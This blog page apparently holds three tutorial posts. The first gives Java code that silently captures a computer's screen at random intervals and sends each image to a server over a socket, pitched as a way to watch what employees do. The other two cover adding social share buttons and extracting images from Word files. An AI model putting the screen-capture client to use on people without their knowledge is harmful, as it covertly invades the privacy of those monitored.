Showing posts with label share. Show all posts
Showing posts with label share. Show all posts

October 15, 2013

Sending screenshot from client to Server through socket in java


How to send screen shot from client to server automatically in java

Did you ever think of getting screen shot from all computers in a network to a server. This code will helps you to do so....This code will capture the current desktop screen shot and sent it to server computer. This application is very useful to network administrator to track what other are doing in the computer at your organization.

ClientApp.java : is a client program that takes screen shot in regular interval.  The sendScreen function will help you to know how java program takes screen shot at intervals and sends to server machine. Here i used ImageIO class to create image buffer. There are other options too... The file is sent through a socket. the port number i used here is 1729. Server Name here used is loop back ip, where you need to specify the server computer name or ip  address.

On the Other hand
SeverApp.java will always listen to the port 1729. if any request comes there, it will catch request and save to the folder 


ClientApp.java


import java.awt.AWTException;
import java.awt.Dimension;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.IOException;
import java.net.Socket;
import java.net.UnknownHostException;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Random;


import javax.imageio.ImageIO;


/**
 * @author lou reed
 *
 */
public class ClientApp implements Runnable {

    private static long nextTime = 0;
    private static ClientApp clientApp = null;
    private String serverName = "127.0.0.1"; //loop back ip
    private int portNo = 1729;
    //private Socket serverSocket = null;
   
    /**
     * @param args
     * @throws InterruptedException
     */
    public static void main(String[] args) throws InterruptedException {
        clientApp = new ClientApp();
        clientApp.getNextFreq();
        Thread thread = new Thread(clientApp);
        thread.start();
    }

    private void getNextFreq() {
        long currentTime = System.currentTimeMillis();
        Random random = new Random();
        long value = random.nextInt(180000); //1800000
        nextTime = currentTime + value;
        //return currentTime+value;
    }

    @Override
    public void run() {
        while(true){
            if(nextTime < System.currentTimeMillis()){
                System.out.println(" get screen shot ");
                try {
                    clientApp.sendScreen();
                    clientApp.getNextFreq();
                } catch (AWTException e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                } catch (IOException e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                } catch(Exception e){
                    e.printStackTrace();
                }
               
            }
            //System.out.println(" statrted ....");
        }
       
    }

    private void sendScreen()throws AWTException, IOException {
           Socket serverSocket = new Socket(serverName, portNo);
             Toolkit toolkit = Toolkit.getDefaultToolkit();
             Dimension dimensions = toolkit.getScreenSize();
                 Robot robot = new Robot();  // Robot class
                 BufferedImage screenshot = robot.createScreenCapture(new Rectangle(dimensions));
                 ImageIO.write(screenshot,"png",serverSocket.getOutputStream());
                 serverSocket.close();
    }
}




January 25, 2013

How to create/add facebook share button to your website

How to add a facebook share button to your blog/website

Description : add the following html tag to your website/blog and change the url


<a  class="free facebook apps" shareLink id="faceBookshare" href="http://www.facebook.com/sharer.php?u=http://javabelazy.blogspot.in/" title="share this post to your facebook timeline" >Facebook like box</a>


the above html code add a social networking link to your website

read more

facebook

Java Facebook API Documentations
Most used Java Facebook API

Description : To add google share button to your blog/website add the following html code and change the url


<div class="g-plus" data-action="share" data-annotation="bubble" data-href="http://javabelazy.blogspot.in/"></div>


http://belazy.blog.com/

November 30, 2012

How to copy images from ms word documents

How to copy images from ms word documents 2000, 2003, 2007, 2010 to computer/ How to download resources(images) in a microsoft office document to my system.


Description: The tutorial help you to save images on microsoft word documents(.doc file ) into your system. If you cant right click on image and save to your computer try this.



Open the ms document (.doc file)


Go to file (Or in key board type Alt + F)

in menu there will be an option for saving file, Save As the file in another location.

save As as web page. you can see there in an option for saving the file as webpage in the drop down box

give the extension type to fileName.htm to new file

your file will be now saved as html file , There will separate folder for resources there you can find your images....

Author : +Shimjith

http://belazy.blog.com/

Facebook comments